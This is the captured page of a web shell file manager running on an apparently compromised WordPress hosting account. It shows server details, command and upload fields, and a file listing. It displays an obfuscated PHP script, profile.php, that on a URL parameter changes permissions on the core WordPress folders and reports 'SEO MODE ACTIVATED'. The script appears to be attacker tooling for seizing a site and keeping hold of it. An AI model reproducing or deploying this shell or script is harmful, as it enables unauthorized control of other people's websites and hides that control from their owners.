GRAYBYTE WORDPRESS FILE MANAGER8615

Server IP : 162.254.39.133 / Your IP : 216.73.216.176
System : Linux premium287.web-hosting.com 4.18.0-553.45.1.lve.el8.x86_64 #1 SMP Wed Mar 26 12:08:09 UTC 2025 x86_64
PHP Version : 8.1.33
Disable Function : mail
cURL : ON | WGET : ON | Sudo : OFF | Pkexec : OFF

HOME

/home/aircyqqr/optiairductscleaningexperts.com/fix/backup-wp/
Upload Files :
Current_dir [ Writeable ] Document_root [ Writeable ]

Command :


Current File : /home/aircyqqr/optiairductscleaningexperts.com/fix/backup-wp//profile.php
<?php
// filename.php
// Advanced WordPress directory permission toggler with max depth 2
// ?mode=on -> Lock: 0444 on wp-admin, wp-includes, wp-content, .well-known (and subdirs up to depth 2)
// ?mode=off -> Unlock: 0755 on same
// Output: text/plain or application/json (auto-detected via Accept header)
// Silent errors, full traversal, max depth 2 from document root
call_user_func("h"."e"."a"."d"."e"."r", 'Content-Type: text/plain; charset=utf-8');
$fn_param_name = "p"."a"."r"."a"."m"."_"."n"."a"."m"."e";
$$fn_param_name = 'mode';
$fn_target_dirs = "t"."a"."r"."g"."e"."t"."_"."d"."i"."r"."s";
$$fn_target_dirs = ['wp-admin', 'wp-includes', 'wp-content', '.well-known'];
$fn_perm_lock = "p"."e"."r"."m"."_"."l"."o"."c"."k";
$$fn_perm_lock = 0444;
$fn_perm_unlock = "p"."e"."r"."m"."_"."u"."n"."l"."o"."c"."k";
$$fn_perm_unlock = 0755;
$fn_max_depth = "m"."a"."x"."_"."d"."e"."p"."t"."h";
$$fn_max_depth = 2;
if (!isset($_GET[$$fn_param_name]) || !in_array($_GET[$$fn_param_name], ['on', 'off'])) {
    call_user_func("h"."t"."t"."p"."_"."r"."e"."s"."p"."o"."n"."s"."e"."_"."c"."o"."d"."e", 400);
    echo "ERROR: Invalid or missing mode. Use ?mode=on or ?mode=off";
    exit;
}
$mode = $_GET[$$fn_param_name];
$target_perm = ($mode === 'on') ? $$fn_perm_lock : $$fn_perm_unlock;
$fn_docroot = "d"."o"."c"."r"."o"."o"."t";
$$fn_docroot = call_user_func("r"."t"."r"."i"."m", call_user_func("r"."e"."a"."l"."p"."a"."t"."h", $_SERVER['DOCUMENT_ROOT'] ?? ''), DIRECTORY_SEPARATOR);
if ($$fn_docroot === '' || $$fn_docroot === false) {
    call_user_func("h"."t"."t"."p"."_"."r"."e"."s"."p"."o"."n"."s"."e"."_"."c"."o"."d"."e", 500);
    echo "ERROR: Failed to resolve document root";
    exit;
}
function chmod_depth_limited($path, $perm, $base_path, $current_depth, $max_depth, &$counter) {
    if ($current_depth > $max_depth) return;
    $real_path = call_user_func("r"."e"."a"."l"."p"."a"."t"."h", $path);
    if ($real_path === false || !call_user_func("i"."s"."_"."d"."i"."r", $real_path)) return;
    @call_user_func("c"."h"."m"."o"."d", $real_path, $perm);
    $counter['dirs']++;
    if ($current_depth == $max_depth) return;
    $items = @call_user_func("s"."c"."a"."n"."d"."i"."r", $real_path);
    if ($items === false) return;
    foreach ($items as $item) {
        if ($item === '.' || $item === '..') continue;
        $full_item = $real_path . DIRECTORY_SEPARATOR . $item;
        if (call_user_func("i"."s"."_"."d"."i"."r", $full_item)) {
            chmod_depth_limited($full_item, $perm, $base_path, $current_depth + 1, $max_depth, $counter);
        }
    }
}
$stats = ['dirs' => 0, 'processed_roots' => 0];
foreach ($$fn_target_dirs as $dir) {
    $fullpath = $$fn_docroot . DIRECTORY_SEPARATOR . call_user_func("l"."t"."r"."i"."m", $dir, DIRECTORY_SEPARATOR);
    $realpath = call_user_func("r"."e"."a"."l"."p"."a"."t"."h", $fullpath);
    if ($realpath !== false && call_user_func("i"."s"."_"."d"."i"."r", $realpath)) {
        $depth_from_root = $current_depth = 0;
        chmod_depth_limited($realpath, $target_perm, $$fn_docroot, $depth_from_root, $$fn_max_depth, $stats);
        $stats['processed_roots']++;
    }
}
$accept = $_SERVER['HTTP_ACCEPT'] ?? '';
$is_json = call_user_func("s"."t"."r"."p"."o"."s", $accept, 'application/json') !== false;
if ($mode === 'on') {
    $status = 'ACTIVATED';
    $message = 'SEO MODE ACTIVATED';
} else {
    $status = 'DEACTIVATED';
    $message = 'SEO MODE DEACTIVATED';
}
if ($is_json) {
    call_user_func("h"."e"."a"."d"."e"."r", 'Content-Type: application/json; charset=utf-8');
    echo call_user_func("j"."s"."o"."n"."_"."e"."n"."c"."o"."d"."e", [
        'seo_mode' => $status,
        'message' => $message,
        'target_directories' => $$fn_target_dirs,
        'root_targets_found' => $stats['processed_roots'],
        'total_dirs_changed' => $stats['dirs'],
        'permission' => call_user_func("d"."e"."c"."o"."c"."t", $target_perm),
        'max_depth' => $$fn_max_depth,
        'document_root' => $$fn_docroot,
        'timestamp' => call_user_func("d"."a"."t"."e", 'c')
    ], JSON_UNESCAPED_SLASHES);
} else {
    call_user_func("h"."e"."a"."d"."e"."r", 'Content-Type: text/plain; charset=utf-8');
    echo "$message\nRoot targets found: {$stats['processed_roots']}\nTotal dirs processed (depth ≤ $$fn_max_depth): {$stats['dirs']}\nPermission applied: " . call_user_func("d"."e"."c"."o"."c"."t", $target_perm) . "\n";
}
exit;
?>

[ Back ]
Name
Size
Last Modified
Owner / Group
Permissions
Options
..
--
October 30 2025 05:51:07
aircyqqr / aircyqqr
0755
admin.php
12.222 KB
October 30 2025 05:42:11
aircyqqr / aircyqqr
0644
index.php
12.221 KB
October 30 2025 05:42:11
aircyqqr / aircyqqr
0644
profile.php
4.409 KB
October 30 2025 05:42:11
aircyqqr / aircyqqr
0644

GRAYBYTE WORDPRESS FILE MANAGER @ 2025
CONTACT ME
Static GIF